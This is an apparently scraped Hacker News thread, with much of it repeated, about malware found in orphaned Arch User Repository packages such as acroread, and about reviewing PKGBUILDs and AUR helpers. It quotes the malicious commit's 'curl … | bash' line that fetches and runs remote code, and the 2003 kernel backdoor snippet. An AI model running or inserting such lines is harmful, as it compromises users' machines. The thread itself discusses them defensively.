18 ms·

Arch Linux AUR Repository Found to Contain Malware

152 points by fdm 8y ago

chimeracoder 8y ago
The Arch User Repository hosts whatever people want to upload to it, with basically no proactive vetting whatsoever. In addition, the installation scripts run arbitrary code, a portion of which must run with root privileges. When a package gets orphaned, that means that anybody in the community can take over maintainership of the package. There's a whole lot of trust that has to go on when installing a package from the AUR - and yes, this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time. Honestly, I'd be surprised if this hasn't happened before with orphaned packages.
- dozzie 8y ago
  The thing is not that it's a new deficiency or something, it's just that Arch user conveniently ignore this when praising their distribution over e.g. Debian.
  - dvfjsdhgfv 8y ago
    Fortunately admins are not unreasonable and don't base their decisions on praises but on actual merits, so most servers run Debian rather than Arch (which is an interesting distro for other usage cases).
    - farresito 8y ago
      Who would want to use a rolling release distribution for a (production) server? Sounds like a pretty terrible choice, to be quite honest.
      - cmiles74 8y ago
        Maybe you could make the case for some cutting edge development or test box, but then again, I'd rather be testing on something that's as close to identical to the production environment as possible. I used Arch on my laptop (primarily used for development) for several years. It mostly worked great and I always had access to the newest whatever with a minimum of hassle. I don't have many complaints, but occasionally after an update something critical would stop working. I'm on Solus now and, so far, it's been pretty great. :-)
      - Foxboron 8y ago
        All of the Arch Linux infrastructure is run on Arch. Works pretty well.
        JackCh 8y ago
        There is an expectation that projects dogfood their own software, but I really can't think of a rational reason for a production server not affiliated with the Arch project to be running Arch. Rolling release is great for technically competent users to install on their workstations, but why would you ever want a rolling release on a production server?
        Foxboron 8y ago
        You wouldn't. The only reason why we run it is because we know it. I wouldn't have used Arch on any production things personally.
        semi-extrinsic 8y ago
        Well, one thing which I know of several projects doing, is having an Arch server as one of the continuous testing servers. This way you can test against bleeding edge gcc/glibc/whatnot and catch bugs or breaking API changes long before they appear in major distros.
      - walrus01 8y ago
        Nobody that values their job or sleeping well at night. It's basically one level of nuts above and beyond running Debian Sid on all your production servers.
        hultner 8y ago
        I ran SID in a embedded customer box testing unreleased software, I did run it in KVM from a stable release since I wouldn’t have physical access if something went wrong, glad I did.
  - mateuszf 8y ago
    AUR repository isn't supported by the core tools and packages. To use it one has to install external scripts. So it's by no means part of the system.
    - mar77i 8y ago
      Urm, you need git, you need build tools... and pacman. That's it. But oh yeah, because I do these things by hand and check whether the source urls point to the place I'd actually like to install (and other code doesn't download external sources, eg. in the PKGBUILD or external scripts like *.install files), I'm suddenly an exception. I just noticed that the blue used on the Archlinux logo is actually quite consistent with Rick's hair color. https://i.imgur.com/kkE25w2.jpg https://i.imgur.com/kkE25w2.jpg Fits me. I don't give a damn.
      - Foxboron 8y ago
        I'll assure you Rick has a blue-grayish color while the Arch logo is Navy Blue.
    - dozzie 8y ago
      Which, as I said, very conveniently is glossed over by Arch users.
      - JackCh 8y ago
        That's a problem with Arch users, not with Arch. It's unfortunately common that fanboys undermine the reputation of reasonable software.
        dozzie 8y ago
        Oh yes, it is a problem with the users, not the software itself, but you don't get to separate the two in the case of an OS or distribution.
        JackCh 8y ago
- Latty 8y ago
  > this is a fundamental problem with the security model of Arch Linux And with every other OS that isn't locked down so the user can't run arbitrary stuff. The AUR is just the arch equivalent of downloading a `.exe` installer and running it. Yes, clearly there are security concerns there, but they aren't specific to Arch. If you want a level of trust, then don't build AUR packages and install things using the package manager (AUR packages aren't supported by it) which have trusted maintainers and are signed.
- tomn 8y ago
  > this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time It's exactly the same problem that every other distro has when users compile or install unvetted community packages. The only way to make unvetted community repositories safe is to have users look at the sources before building or installing. Arch encourages users to do that -- AUR helpers and binary repositories are discouraged, and the source package format is simple enough that an average user could probably spot something like this.
- LukeShu 8y ago
  > yes, this is a fundamental problem with the security model of Arch Linux No, it's not. AUR is not Arch, and is not "supported" by Arch. It's a fundamental problem with the security model running code from randos on the internet. If someone published a git repo on GitHub that installed malware when you ran git clone git://github.com/user/repo . && ./configure && make && sudo make install you wouldn't be saying that "this is a fundamental problem with the security model of git." From the AUR homepage, in big text: > AUR packages are user produced content. Any use of the provided files is at your own risk.
  - xiii1408 8y ago
    AUR PKGBUILDs are much more restricted than this, since they're restricted to a fakeroot. Of course, if you're ultimately going to run the program, the binary set up by the PKGBUILD has a lot of control. But the PKGBUILD itself is limited in what it can do (to things like listing your installed packages, getting `uname -a`--the stuff mentioned in the article).
    - LukeShu 8y ago
      No. Whatever you stick in the install= file will run as root at install time. If you're using an AUR helper/running `makepkg -i`, the PKGBUILD absolutely can run code as root, without waiting for you to interact with the installed program. Installing a package from a PKGBUILD is no more or no less "powerful" to an attacker than `make && sudo make install`.
      - xiii1408 8y ago
        The install hooks are chrooted inside the pacman install directory. But, yeah, they run as root, so they can still do damage. My point was that the danger zone is when you trust the package, rather than when you run the PKGBUILD itself with `makepkg`. Of course `makepkg -i` runs both `makepkg` and `pacman` as root.
  - cakes 8y ago
    I understand your point but the problem is that the title is "Arch Linux AUR Repository Found to Contain Malware" (and not, for example: "AUR Repository Found to Contain Malware"). I would argue that the implication (I guess reputation-wise if that matters) starts with the "Arch Linux" part. It's easy to jump on Arch because of this regardless of the fact that the AUR is not supported. At a cursory glance plenty of people (though incorrect) will equate this to "Arch Linux contains malware"
cmiles74 8y ago
From the article: "This is yet another incident that showcases that Linux users should not explicitly trust user-controlled repositories." LOL. Why should this only apply to Linux users? We should all be wary of downloading random things from websites. AUR has always been labeled "user submitted", but I guess it's easy to forget that some "users" are really out to cause harm.
- 21 8y ago
  Because there is this myth that only Windows users get infected because Windows is insecure, that packages are vetted, that code being open source means that a backdoor insertion would quickly be discovered, and so on.
  - ploxiln 8y ago
    Packages are vetted, in the repos, just not in AUR. They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts. Also this malware was found in AUR within a few hours of it going up.
    - xiii1408 8y ago
      Exactly. It's actually kind of a success story for the AUR, since they found the malware so quickly. Of course, it would be more interesting if we could scan or survey the AUR to get a percentage of suspicious packages. I've long been under the impression that some popular AUR packages (e.g. Google Chrome) are pretty safe from tampering. For anything else, I glance over the PKGBUILD to make sure it's not doing anything obviously fishy, and I've never noticed anything.
    - mehrdadn 8y ago
      How are official Arch packages vetted?
      - Foxboron 8y ago
lerax 8y ago
Not a surprise.
- craftyguy 8y ago
  Yes, but this may be a good reminder for fellow Arch users who have grown complacent reviewing things they install from AUR. I've gotten to the point where I do not install any AUR helpers on my systems, and manually download PKGBUILDs and install with makepkg. These extra steps force me to 1) review the PKGBUILD + *.install files, and 2) make me reconsider whether or not I want to go through the effort for a package (i.e. "do I really want this thing") If you want to see all software installed from outside repos defined in /etc/pacman.conf, you can use this pacman option: pacman -Qm It's always a good idea to periodically review this list as well.
  - jolmg 8y ago
    I've seen the advice of not installing AUR helpers multiple times before. I guess it works for many, but I feel it takes more discipline to review the files when not using AUR helpers since you can just download them and makepkg them immediately, while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor with a default answer of [Y]es.
    - craftyguy 8y ago
      > while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor The good ones do, yes. > with a default answer of [Y]es. And therein lies the problem. You may review a handful up front, but then convince yourself that all is good since it's much easier to just press 'enter' and move on. It's MUCH easier to ignore a PKGBUILD when you have to hit one key to skip it than it is if you have to manually download it, put it somewhere, and 'makepkg' on it.
      - jolmg 8y ago
        I think you misread. Pressing 'enter' opens up the editor to review the files. To ignore them, you'd have to answer [n]o.
tombert 8y ago
I mean, is this new information? I always look at the upvotes on the package to see if it has been tested.
- bretthoerner 8y ago
  You should read the PKGBUILD, even on upgrades. In this case the bad guy took over an orphaned package (with 853 votes) and updated it. You could have looked at the upvotes 5 years ago and blindly upgraded to his new version last week.
- tbrock 8y ago
  Yeah it would be better if the packages had all-time upvotes as well as “upvotes for this version”.
  - tomswartz07 8y ago
    Honestly, I don't see this happening. Many packages use rolling versions from git commits, so while the PKGBUILDs don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest commit is pulled and built. In those cases, a PKGBUILD might be months or years old, but still consistently up to date and valid.
- oralty 8y ago
  Not a great idea. Upvotes don't really tell you shit about testing, quality, or trust. I mean how many votes does acroread have (hint: a lot). The votes is merely to give arch some idea of how popular an AUR package is so that it can be absorbed officially.I have had a few of my AUR packages scooped up this way. Voting may indirectly indicate that the package is useful, but it doesn't say the thing doesn't contain malware nor does it indicate that the script is poorly written for other reasons. I orphaned a few quite popular AUR entries with high vote counts. The counts don't magically go away, and at that point anybody on the internet is free to adopt it.
pandasun 8y ago
The article mentions 3 infected packages. But it only lists one: acroread. Then the comment section mentions the other one is libvlc. But the mailing list says this is something different: https://lists.archlinux.org/pipermail/aur-general/2018-July/034158.html https://lists.archlinux.org/pipermail/aur-general/2018-July/... So then there's still two missing. Here's what I've found that he maintained: 1) balz (https://archive.fo/TjIQI https://archive.fo/TjIQI) 2) minergate (https://archive.fo/TjIQI https://archive.fo/TjIQI) 3) acroread - as mentioned (https://my.mixtape.moe/kvfpmk.png https://my.mixtape.moe/kvfpmk.png) So those "balz" and "minergate" could be the missing two. Edit: seems like archive.fo is temporarily down, so it will just be my word for it right now. Sorry.
- Foxboron 8y ago
  Someone was questioning if `libvlc` could be considered dangerous. However the package download our packaged `vlc` packages and just repackages the `/usr/lib/libvlc*` files into a new package.
- Foxboron 8y ago
  There was some more questions about the affected packages on IRC. I posted a mail to the thread with the packages and versions. https://lists.archlinux.org/pipermail/aur-general/2018-July/034169.html https://lists.archlinux.org/pipermail/aur-general/2018-July/...
westmeal 8y ago
Doesnt everyone know AUR packages are inherently unsafe? if you wanted to make sure they werent up to something you could read the pkgbuild
- Skunkleton 8y ago
  Given the design of most of the AUR "helpers" out there, I would guess that there are a non-trivial amount of users who view the AUR as safe.
  - dbrgn 8y ago
    Yaourt shows a big fat red warning every time you install a package. It also offers to open PKGBUILD and .install files for inspection.
    - imtringued 8y ago
      It should just show the PKGBUILD every time. If it's not doing anything sketchy it's often only a dozen lines.
      - Skunkleton 8y ago
        aurman does a good job. It caches the old PKGBUILD and lets you view diffs. Still, reviewing a PKGBUILD is a non-trivial process.
        ronjouch 8y ago
        Thanks! I got bored of looking for a yaourt replacement because they seemed all the same, and discussions of AUR helpers often turn into flamewars, but PKGBUILD diffs is a valuable feature. Trying aurman :)
    - d4l3k 8y ago
      Yaourt is also unmaintained and unsafe. Please switch to something better. https://wiki.archlinux.org/index.php/AUR_helpers#Active https://wiki.archlinux.org/index.php/AUR_helpers#Active
jdlyga 8y ago
This is exactly what we've been preparing for. Don't use yaourt, and read those diffs. I know a lot of people don't do this, but it's important.
- CodyReichert 8y ago
  Yeah it's funny, my first thought was since I started using Arch, the most common thing I hear people say is that packages from AUR should be considered unsafe until you've read the PKGBUILD, at least. It's a good thing it gets brought up so much, unfortunately.
- thsowers 8y ago
  What would you recommend over yaourt?
  - syrak 8y ago
    aurman. More choices can be found here https://wiki.archlinux.org/index.php/AUR_helpers https://wiki.archlinux.org/index.php/AUR_helpers
  - cosmojg 8y ago
    I love yay[1]. It has few dependencies, integrates well with pacman, has a useful search function, and is incredibly easy to use. I recommend using the binary version (yay-bin[2]) available in the AUR since it doesn't require compilation and has the fewest dependencies of any AUR helper. [1] https://github.com/Jguer/yay https://github.com/Jguer/yay [2] https://aur.archlinux.org/packages/yay-bin/ https://aur.archlinux.org/packages/yay-bin/
  - bscphil 8y ago
    I like and use auracle. It's basically a rewrite / redo of cower, the core of pacaur, by the same developer. Pacaur was the most popular alternative to Yaourt, but is now discontinued.
  - blarg1 8y ago
    #!/bin/bash set -e if [ -z "$1" ]; then echo "No package name specified."; exit; fi mkdir -p $1 cd $1 wget -q "https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz" https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz" tar xzf $1.tar.gz cd $1 makepkg -sf read -n 1 -s -p "Press any key to continue..." echo -e "\n" sudo pacman -U --noconfirm --needed $1*pkg.tar.xz
Aardwolf 8y ago
Unfortunately lots of things one actually wants are on AUR, things like jpeginfo, golly, steam-fonts, simple-mtpfs, jslint, ... A case for putting more things in the main Archlinux repositories!
- xiii1408 8y ago
  My understanding is some things (e.g. Google Chrome, Google and Microsoft fonts) can't be put in the main Arch Linux repos for copyright reasons.
  - arendtio 8y ago
    I wonder how other distributions solve that situation.
    - Foxboron 8y ago
      Distributing them as repackaged binaries would be against the terms. I'm unsure what distros ignores the terms and packages them anyway. It is a clear liability for any larger distributions at least.
    - blfr 8y ago
      By being popular enough to have providers package the software for them. For example, Chrome is available from a repo maintained by Google itself. https://www.google.com/linuxrepositories/ https://www.google.com/linuxrepositories/ OTOH, you're basically giving Google root access to your machine.
    - Hello71 8y ago
      Either ignore them (Ubuntu) or they just don't. For many years Debian and Fedora didn't have MP3 decoder installed by default.
  - bscphil 8y ago
    Chromium and Google's Roboto and Noto fonts are all in the official repos.
Tharre 8y ago
For the people interested, here's the actual commit from the acroread package: https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id=b3fec9f2f16703c2dae9e793f75ad6e0d98509bc https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...
- kevincox 8y ago
  Following the URLs it appears that it sets up a systemd timer to post some system info to pastebin every hour. However the script also appears to have a mistake which I think would cause it to only log to /root/home/*/compromised.txt. $uploader "$FULL_LOG" should be upload "$FULL_LOG"
- dmix 8y ago
  > + curl -s https://ptpb.pw/~x|bash https://ptpb.pw/~x|bash -& So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users. Not much to see here, fortunately.
  - 0xb100db1ade 8y ago
    that "shady" domain is the official pastebin for freenode's Arch Linux IRC channel
    - earenndil 8y ago
      Even moreso: the fact that it's well-known as a pastebin means that it should be obvious data coming from it are user-generated and could come from anyone.
arendtio 8y ago
As an Arch user this bothers me since a while. On the one hand the AUR contains packages I don't want to miss, on the other hand installing and updating from the AUR is tiresome. Recently I switched to the AUR helper aurman which is great, but it still doesn't free you from reviewing PKGBUILD changes. Sometimes I wish there would be some kind of review process where popular packages could be labeled as 'reviewed' (e.g. by experienced/trusted arch users) and an (optional) option within the AUR helpers to accept 'reviewed' packages without presenting the PKGBUILD for review. I know that wouldn't be perfect either, but at least it would increase the efficiency and as a user one could focus on the less popular packages where it is unlikely that someone else will find some malware.
- iv597 8y ago
  In a sense we already have that, in the form of the `community` repo: Trusted Users mark a package as safe, adopt it, and it gets packaged up and supported. Perhaps the answer is a few more TUs to get some of the popular AUR packages adopted and officially supported.
jolmg 8y ago
Is there a public database of linux malware found in the wild that one can study to know what kind of things to look for when reviewing PKGBUILDs and other open source code? EDIT: s/repository/public database/
- Foxboron 8y ago
  Nothing that I know off. Are you thinking specific to Arch Linux or in general?
  - jolmg 8y ago
    In general, but also containing malware found in code belonging to the different distributions, like PKGBUILDs. I'm just thinking that part of the problem with the lack of review of AUR packages by the users is that it's not really obvious what one should be on the lookout for. What does linux malware found in the wild generally look like?, is what I'm wondering. I would think that it would benefit us all to make the cases where malware is found more easy to study. The case shown here is pretty obvious looking, but I don't think it would be too difficult to make it better hidden. Seeing what kind of tricks are statistically more common would make PKGBUILDs easier to review.
    - lucb1e 8y ago
      This is one example of a kernel backdoor: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; If you haven't heard of it before, and if you're not an experienced dev, it can be tricky to spot. So what I'm trying to say is that I think you're right in that it's difficult for random people (even if they have a strong tech background) to do secure code reviews. More info of this particular one at e.g. https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/ https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-... or just search for 'linux backdoor attempt'
      - jolmg 8y ago
        It's not about everyone being prepared to find malware anywhere, though, but only in the cases where they each do. For random users of AUR packages, if they (for whatever reason) trust a project's author, then they only need to check the package author's work. If they could have access to historical examples of real life malware specifically on PKGBUILD files, that would make it much easier to have an idea of what kind of details they should be on the alert for. For kernel devs, specifically the kind that reviews patches submitted by others, I would think it would also be useful to have data on previous successful and failed attempts at introducing backdoors into the kernel. Right now, I think that for anyone that wants to see this kind of data for any particular kind of software, they'd have to search for it through various mediums like mailing lists or the blog you linked to (through google). That's an interesting link, by the way. Thanks for sharing. EDIT: Removed redundant part. Misread what parent post meant.
relyio 8y ago
I don't know a single Arch Linux user who doesn't check the PKGBUILD of the packages they get from AUR.
- lsh 8y ago
  pleased to meetcha, you now know one.
sandov 8y ago
I really hope one day Linux stops using package managers and switches to single-file binary installers as in Windows and Mac. Until that day, I won't feel completely comfortable using Linux. Package managers are an inherently flawed way to distribute software, instead of obtaining your programs from whoever developed that program you get it from your OS developer!.
delbel 8y ago
I tried installing Arch Linux, and it was harder then installing SunOS 4.3. The instructions were absolutely wrong. I wish I could give it another try, but I just don't have time to experience the wow's of the early 90s just to get a browser up.
- Grimm665 8y ago
  The Arch wiki used to have an amazing Beginner's guide along with the general Installation Guide. They've since dropped it from the wiki, but there are archived versions that I still bring up every now and then when setting up a new Arch install. Here's one: https://csdietz.github.io/arch-beginner-guide/ https://csdietz.github.io/arch-beginner-guide/
jancsika 8y ago
> Following the discovery all dangerous instances were removed and the user account suspended. I heard they're making a change to the policy for uploading packages to AUR. The next time this happens the user will automatically receive an email that says, "Hey, don't do that."
etu 8y ago
I'm surprised that this hasn't happened a lot earlier to be honest. It probably has but haven't been picked up by someone. It's a user submitted repo with over 44000 packages (source repology [0]). It has happened to the snap store recently, but AUR has been around for ages. [0]: https://repology.org/repository/aur https://repology.org/repository/aur

152 points by fdm 8y ago

The Arch User Repository hosts whatever people want to upload to it, with basically no proactive vetting whatsoever. In addition, the installation scripts run arbitrary code, a portion of which must run with root privileges. When a package gets orphaned, that means that anybody in the community can take over maintainership of the package. There's a whole lot of trust that has to go on when installing a package from the AUR - and yes, this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time. Honestly, I'd be surprised if this hasn't happened before with orphaned packages.

dozzie 8y ago
The thing is not that it's a new deficiency or something, it's just that Arch user conveniently ignore this when praising their distribution over e.g. Debian.
- dvfjsdhgfv 8y ago
  Fortunately admins are not unreasonable and don't base their decisions on praises but on actual merits, so most servers run Debian rather than Arch (which is an interesting distro for other usage cases).
  - farresito 8y ago
    Who would want to use a rolling release distribution for a (production) server? Sounds like a pretty terrible choice, to be quite honest.
    - cmiles74 8y ago
      Maybe you could make the case for some cutting edge development or test box, but then again, I'd rather be testing on something that's as close to identical to the production environment as possible. I used Arch on my laptop (primarily used for development) for several years. It mostly worked great and I always had access to the newest whatever with a minimum of hassle. I don't have many complaints, but occasionally after an update something critical would stop working. I'm on Solus now and, so far, it's been pretty great. :-)
    - Foxboron 8y ago
      All of the Arch Linux infrastructure is run on Arch. Works pretty well.
      - JackCh 8y ago
        There is an expectation that projects dogfood their own software, but I really can't think of a rational reason for a production server not affiliated with the Arch project to be running Arch. Rolling release is great for technically competent users to install on their workstations, but why would you ever want a rolling release on a production server?
        Foxboron 8y ago
        You wouldn't. The only reason why we run it is because we know it. I wouldn't have used Arch on any production things personally.
        semi-extrinsic 8y ago
        Well, one thing which I know of several projects doing, is having an Arch server as one of the continuous testing servers. This way you can test against bleeding edge gcc/glibc/whatnot and catch bugs or breaking API changes long before they appear in major distros.
    - walrus01 8y ago
      Nobody that values their job or sleeping well at night. It's basically one level of nuts above and beyond running Debian Sid on all your production servers.
      - hultner 8y ago
        I ran SID in a embedded customer box testing unreleased software, I did run it in KVM from a stable release since I wouldn’t have physical access if something went wrong, glad I did.
- mateuszf 8y ago
  AUR repository isn't supported by the core tools and packages. To use it one has to install external scripts. So it's by no means part of the system.
  - mar77i 8y ago
    Urm, you need git, you need build tools... and pacman. That's it. But oh yeah, because I do these things by hand and check whether the source urls point to the place I'd actually like to install (and other code doesn't download external sources, eg. in the PKGBUILD or external scripts like *.install files), I'm suddenly an exception. I just noticed that the blue used on the Archlinux logo is actually quite consistent with Rick's hair color. https://i.imgur.com/kkE25w2.jpg https://i.imgur.com/kkE25w2.jpg Fits me. I don't give a damn.
    - Foxboron 8y ago
      I'll assure you Rick has a blue-grayish color while the Arch logo is Navy Blue.
  - dozzie 8y ago
    Which, as I said, very conveniently is glossed over by Arch users.
    - JackCh 8y ago
      That's a problem with Arch users, not with Arch. It's unfortunately common that fanboys undermine the reputation of reasonable software.
      - dozzie 8y ago
        Oh yes, it is a problem with the users, not the software itself, but you don't get to separate the two in the case of an OS or distribution.
        JackCh 8y ago
Latty 8y ago
> this is a fundamental problem with the security model of Arch Linux And with every other OS that isn't locked down so the user can't run arbitrary stuff. The AUR is just the arch equivalent of downloading a `.exe` installer and running it. Yes, clearly there are security concerns there, but they aren't specific to Arch. If you want a level of trust, then don't build AUR packages and install things using the package manager (AUR packages aren't supported by it) which have trusted maintainers and are signed.
tomn 8y ago
> this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time It's exactly the same problem that every other distro has when users compile or install unvetted community packages. The only way to make unvetted community repositories safe is to have users look at the sources before building or installing. Arch encourages users to do that -- AUR helpers and binary repositories are discouraged, and the source package format is simple enough that an average user could probably spot something like this.
LukeShu 8y ago
> yes, this is a fundamental problem with the security model of Arch Linux No, it's not. AUR is not Arch, and is not "supported" by Arch. It's a fundamental problem with the security model running code from randos on the internet. If someone published a git repo on GitHub that installed malware when you ran git clone git://github.com/user/repo . && ./configure && make && sudo make install you wouldn't be saying that "this is a fundamental problem with the security model of git." From the AUR homepage, in big text: > AUR packages are user produced content. Any use of the provided files is at your own risk.
- xiii1408 8y ago
  AUR PKGBUILDs are much more restricted than this, since they're restricted to a fakeroot. Of course, if you're ultimately going to run the program, the binary set up by the PKGBUILD has a lot of control. But the PKGBUILD itself is limited in what it can do (to things like listing your installed packages, getting `uname -a`--the stuff mentioned in the article).
  - LukeShu 8y ago
    No. Whatever you stick in the install= file will run as root at install time. If you're using an AUR helper/running `makepkg -i`, the PKGBUILD absolutely can run code as root, without waiting for you to interact with the installed program. Installing a package from a PKGBUILD is no more or no less "powerful" to an attacker than `make && sudo make install`.
    - xiii1408 8y ago
      The install hooks are chrooted inside the pacman install directory. But, yeah, they run as root, so they can still do damage. My point was that the danger zone is when you trust the package, rather than when you run the PKGBUILD itself with `makepkg`. Of course `makepkg -i` runs both `makepkg` and `pacman` as root.
- cakes 8y ago
  I understand your point but the problem is that the title is "Arch Linux AUR Repository Found to Contain Malware" (and not, for example: "AUR Repository Found to Contain Malware"). I would argue that the implication (I guess reputation-wise if that matters) starts with the "Arch Linux" part. It's easy to jump on Arch because of this regardless of the fact that the AUR is not supported. At a cursory glance plenty of people (though incorrect) will equate this to "Arch Linux contains malware"

cmiles74 8y ago

From the article: "This is yet another incident that showcases that Linux users should not explicitly trust user-controlled repositories." LOL. Why should this only apply to Linux users? We should all be wary of downloading random things from websites. AUR has always been labeled "user submitted", but I guess it's easy to forget that some "users" are really out to cause harm.

21 8y ago
Because there is this myth that only Windows users get infected because Windows is insecure, that packages are vetted, that code being open source means that a backdoor insertion would quickly be discovered, and so on.
- ploxiln 8y ago
  Packages are vetted, in the repos, just not in AUR. They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts. Also this malware was found in AUR within a few hours of it going up.
  - xiii1408 8y ago
    Exactly. It's actually kind of a success story for the AUR, since they found the malware so quickly. Of course, it would be more interesting if we could scan or survey the AUR to get a percentage of suspicious packages. I've long been under the impression that some popular AUR packages (e.g. Google Chrome) are pretty safe from tampering. For anything else, I glance over the PKGBUILD to make sure it's not doing anything obviously fishy, and I've never noticed anything.
  - mehrdadn 8y ago
    How are official Arch packages vetted?
    - Foxboron 8y ago

lerax 8y ago

Not a surprise.

craftyguy 8y ago
Yes, but this may be a good reminder for fellow Arch users who have grown complacent reviewing things they install from AUR. I've gotten to the point where I do not install any AUR helpers on my systems, and manually download PKGBUILDs and install with makepkg. These extra steps force me to 1) review the PKGBUILD + *.install files, and 2) make me reconsider whether or not I want to go through the effort for a package (i.e. "do I really want this thing") If you want to see all software installed from outside repos defined in /etc/pacman.conf, you can use this pacman option: pacman -Qm It's always a good idea to periodically review this list as well.
- jolmg 8y ago
  I've seen the advice of not installing AUR helpers multiple times before. I guess it works for many, but I feel it takes more discipline to review the files when not using AUR helpers since you can just download them and makepkg them immediately, while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor with a default answer of [Y]es.
  - craftyguy 8y ago
    > while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor The good ones do, yes. > with a default answer of [Y]es. And therein lies the problem. You may review a handful up front, but then convince yourself that all is good since it's much easier to just press 'enter' and move on. It's MUCH easier to ignore a PKGBUILD when you have to hit one key to skip it than it is if you have to manually download it, put it somewhere, and 'makepkg' on it.
    - jolmg 8y ago
      I think you misread. Pressing 'enter' opens up the editor to review the files. To ignore them, you'd have to answer [n]o.

tombert 8y ago

I mean, is this new information? I always look at the upvotes on the package to see if it has been tested.

bretthoerner 8y ago
You should read the PKGBUILD, even on upgrades. In this case the bad guy took over an orphaned package (with 853 votes) and updated it. You could have looked at the upvotes 5 years ago and blindly upgraded to his new version last week.
tbrock 8y ago
Yeah it would be better if the packages had all-time upvotes as well as “upvotes for this version”.
- tomswartz07 8y ago
  Honestly, I don't see this happening. Many packages use rolling versions from git commits, so while the PKGBUILDs don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest commit is pulled and built. In those cases, a PKGBUILD might be months or years old, but still consistently up to date and valid.
oralty 8y ago
Not a great idea. Upvotes don't really tell you shit about testing, quality, or trust. I mean how many votes does acroread have (hint: a lot). The votes is merely to give arch some idea of how popular an AUR package is so that it can be absorbed officially.I have had a few of my AUR packages scooped up this way. Voting may indirectly indicate that the package is useful, but it doesn't say the thing doesn't contain malware nor does it indicate that the script is poorly written for other reasons. I orphaned a few quite popular AUR entries with high vote counts. The counts don't magically go away, and at that point anybody on the internet is free to adopt it.

pandasun 8y ago

The article mentions 3 infected packages. But it only lists one: acroread. Then the comment section mentions the other one is libvlc. But the mailing list says this is something different: https://lists.archlinux.org/pipermail/aur-general/2018-July/034158.html https://lists.archlinux.org/pipermail/aur-general/2018-July/... So then there's still two missing. Here's what I've found that he maintained: 1) balz (https://archive.fo/TjIQI https://archive.fo/TjIQI) 2) minergate (https://archive.fo/TjIQI https://archive.fo/TjIQI) 3) acroread - as mentioned (https://my.mixtape.moe/kvfpmk.png https://my.mixtape.moe/kvfpmk.png) So those "balz" and "minergate" could be the missing two. Edit: seems like archive.fo is temporarily down, so it will just be my word for it right now. Sorry.

Foxboron 8y ago
Someone was questioning if `libvlc` could be considered dangerous. However the package download our packaged `vlc` packages and just repackages the `/usr/lib/libvlc*` files into a new package.
Foxboron 8y ago
There was some more questions about the affected packages on IRC. I posted a mail to the thread with the packages and versions. https://lists.archlinux.org/pipermail/aur-general/2018-July/034169.html https://lists.archlinux.org/pipermail/aur-general/2018-July/...

westmeal 8y ago

Doesnt everyone know AUR packages are inherently unsafe? if you wanted to make sure they werent up to something you could read the pkgbuild

Skunkleton 8y ago
Given the design of most of the AUR "helpers" out there, I would guess that there are a non-trivial amount of users who view the AUR as safe.
- dbrgn 8y ago
  Yaourt shows a big fat red warning every time you install a package. It also offers to open PKGBUILD and .install files for inspection.
  - imtringued 8y ago
    It should just show the PKGBUILD every time. If it's not doing anything sketchy it's often only a dozen lines.
    - Skunkleton 8y ago
      aurman does a good job. It caches the old PKGBUILD and lets you view diffs. Still, reviewing a PKGBUILD is a non-trivial process.
      - ronjouch 8y ago
        Thanks! I got bored of looking for a yaourt replacement because they seemed all the same, and discussions of AUR helpers often turn into flamewars, but PKGBUILD diffs is a valuable feature. Trying aurman :)
  - d4l3k 8y ago
    Yaourt is also unmaintained and unsafe. Please switch to something better. https://wiki.archlinux.org/index.php/AUR_helpers#Active https://wiki.archlinux.org/index.php/AUR_helpers#Active

jdlyga 8y ago

This is exactly what we've been preparing for. Don't use yaourt, and read those diffs. I know a lot of people don't do this, but it's important.

CodyReichert 8y ago
Yeah it's funny, my first thought was since I started using Arch, the most common thing I hear people say is that packages from AUR should be considered unsafe until you've read the PKGBUILD, at least. It's a good thing it gets brought up so much, unfortunately.
thsowers 8y ago
What would you recommend over yaourt?
- syrak 8y ago
  aurman. More choices can be found here https://wiki.archlinux.org/index.php/AUR_helpers https://wiki.archlinux.org/index.php/AUR_helpers
- cosmojg 8y ago
  I love yay[1]. It has few dependencies, integrates well with pacman, has a useful search function, and is incredibly easy to use. I recommend using the binary version (yay-bin[2]) available in the AUR since it doesn't require compilation and has the fewest dependencies of any AUR helper. [1] https://github.com/Jguer/yay https://github.com/Jguer/yay [2] https://aur.archlinux.org/packages/yay-bin/ https://aur.archlinux.org/packages/yay-bin/
- bscphil 8y ago
  I like and use auracle. It's basically a rewrite / redo of cower, the core of pacaur, by the same developer. Pacaur was the most popular alternative to Yaourt, but is now discontinued.
- blarg1 8y ago
  #!/bin/bash set -e if [ -z "$1" ]; then echo "No package name specified."; exit; fi mkdir -p $1 cd $1 wget -q "https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz" https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz" tar xzf $1.tar.gz cd $1 makepkg -sf read -n 1 -s -p "Press any key to continue..." echo -e "\n" sudo pacman -U --noconfirm --needed $1*pkg.tar.xz

Aardwolf 8y ago

Unfortunately lots of things one actually wants are on AUR, things like jpeginfo, golly, steam-fonts, simple-mtpfs, jslint, ... A case for putting more things in the main Archlinux repositories!

xiii1408 8y ago
My understanding is some things (e.g. Google Chrome, Google and Microsoft fonts) can't be put in the main Arch Linux repos for copyright reasons.
- arendtio 8y ago
  I wonder how other distributions solve that situation.
  - Foxboron 8y ago
